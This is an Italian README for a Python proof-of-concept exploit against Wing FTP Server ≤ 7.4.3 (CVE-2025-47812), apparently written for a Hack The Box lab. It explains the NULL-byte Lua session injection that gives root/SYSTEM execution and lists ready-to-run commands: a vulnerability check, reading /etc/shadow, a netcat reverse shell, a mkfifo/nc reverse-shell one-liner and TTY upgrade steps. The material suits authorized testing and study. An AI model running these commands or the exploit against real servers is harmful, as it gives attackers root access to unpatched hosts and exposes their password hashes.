
CVE-2025-47812 Poc per wingdata HTB
Exploit Python per la RCE tramite injection Lua non autenticata in Wing FTP Server ≤ 7.4.3. Progettato per la consegna di shell — un comando da check a un callback netcat funzionante.
Scritto qualche tempo fa per il lab wingData su HTB e ora reso open-source. Usalo solo contro sistemi di tua proprietà o per i quali hai ricevuto autorizzazione scritta per il test.
La funzione c_CheckUser() di Wing FTP tronca lo username al primo byte NULL per l'autenticazione, ma il percorso di creazione della sessione scrive lo username completo non sanificato in un file di sessione Lua. Inietta anonymous%00]]<lua>-- e il server scrive felicemente il tuo Lua nella sessione. Colpire qualsiasi endpoint autenticato (dir.html funziona) carica quel file di sessione tramite loadfile() → f(), eseguendo il codice iniettato come root/SYSTEM.
Affetto: Wing FTP Server ≤ 7.4.3. Risolto in 7.4.4.
pip install requests
Tutto qui — nessun'altra dipendenza.
# 1. Confirm the target is vulnerable (runs `id` and checks for `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. One-off command — captures stdout AND stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. Reverse shell (the easy path)
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. Detached arbitrary payload — fire-and-forget. Useful when bash is missing:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
| Flag | Default | Scopo |
|---|---|---|
-u, --url | obbligatorio | URL di base del target — Wing FTP ascolta solitamente sulla porta :5466 (HTTP) o :5467 (HTTPS). |
-U, --username | anonymous | Username prima del byte NULL. Anonimo funziona su installazioni predefinite. |
-P, --password | vuoto | Password per la POST di injection. Vuota va bene per anonimo. |
-v, --verbose | disattivato | Mostra il payload Lua, gli URL contattati e il corpo della risposta grezzo. |
http://target:5466/login.html in un browser prima di presumere che l'URL sia sbagliato.shell non riesce a stabilire un callback, usa come ripiego detached con il payload mkfifo sopra. Alcune immagini Linux minime non includono bash.python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Invio, Invio
export TERM=xterm
Solo per uso educativo e test di sicurezza autorizzati. Sei responsabile dei target verso cui punti questo strumento.
MIT — vedi LICENSE.